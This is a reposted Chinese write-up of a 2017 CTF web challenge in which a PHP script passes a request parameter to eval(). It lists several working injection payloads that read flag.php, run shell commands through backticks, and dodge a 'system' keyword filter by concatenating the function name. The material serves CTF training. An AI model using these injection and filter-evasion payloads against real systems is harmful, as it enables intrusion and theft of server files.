“百度杯”CTF比赛 2017 二月场爆破-2 writeup

转载

xuchen16 于 2018-09-04 23:52:01 发布
分类专栏： ctf 文章标签： 百度杯 CTF比赛 2017 二月场爆破-2 writeup ctf


```
分值：10分 类型：Misc Web已解答

题目：
flag不在变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

题目知识点：

file_get_contents(path)函数，获得指定路径下的文件内容，以字符串的形式返回出来。

eval(str)函数，把括号里的字符串，当作php命令来执行。

解题思路：

这一题把一个file_get_contents()函数命令赋值给$a传入var_dump()中。var_dump()函数就是把这个命令以字符串的形式返回，进入到嵌套的eval函数里面，让eval函数来执行这行命令。

使用file_get_contents函数，构造如下：
http://f79f87d42ad840a8acdec9e8d8eb89dfb8844920bd6e4950.game.ichunqiu.com/?hello=file_get_contents(%27flag.php%27)

其他payload

1. 发现flag没有在变量里面但是那个`eval("var_dump($a);")`在

就要想方法利用下，因为按常理flag都在flag.php下我们只要能拿到flag.php里面的内容就能拿到flag

我们利用拼接让eval执行我们需要的函数

http://488e091106444c2fab369878c48265124b4bf199d529448b.game.ichunqiu.com/?hello=1);show_source(%27flag.php%27);var_dump(

这样跟eval函数拼接就变成了var_dump(1);show_source(%27flag.php%27);var_dump();就可以导出flag.php的文件内容得到flag

2.http://488e091106444c2fab369878c48265124b4bf199d529448b.game.ichunqiu.com/?hello=$a);print_r(file("./flag.php")); //

3. http://488e091106444c2fab369878c48265124b4bf199d529448b.game.ichunqiu.com/?hello=$a);echo `cat ./flag.php`; //

注意这里是反引号，在 bash 中反引号括起来的字符串也是会被当成代码执行

4.http://488e091106444c2fab369878c48265124b4bf199d529448b.game.ichunqiu.com/?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); //

这里发现 i春秋 在http请求中拦截了 system 函数等关键字，因此可以通过 php 的字符串连接成为函数名，然后进行调用 这里其实是把 system 函数名作为字符串分开，这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字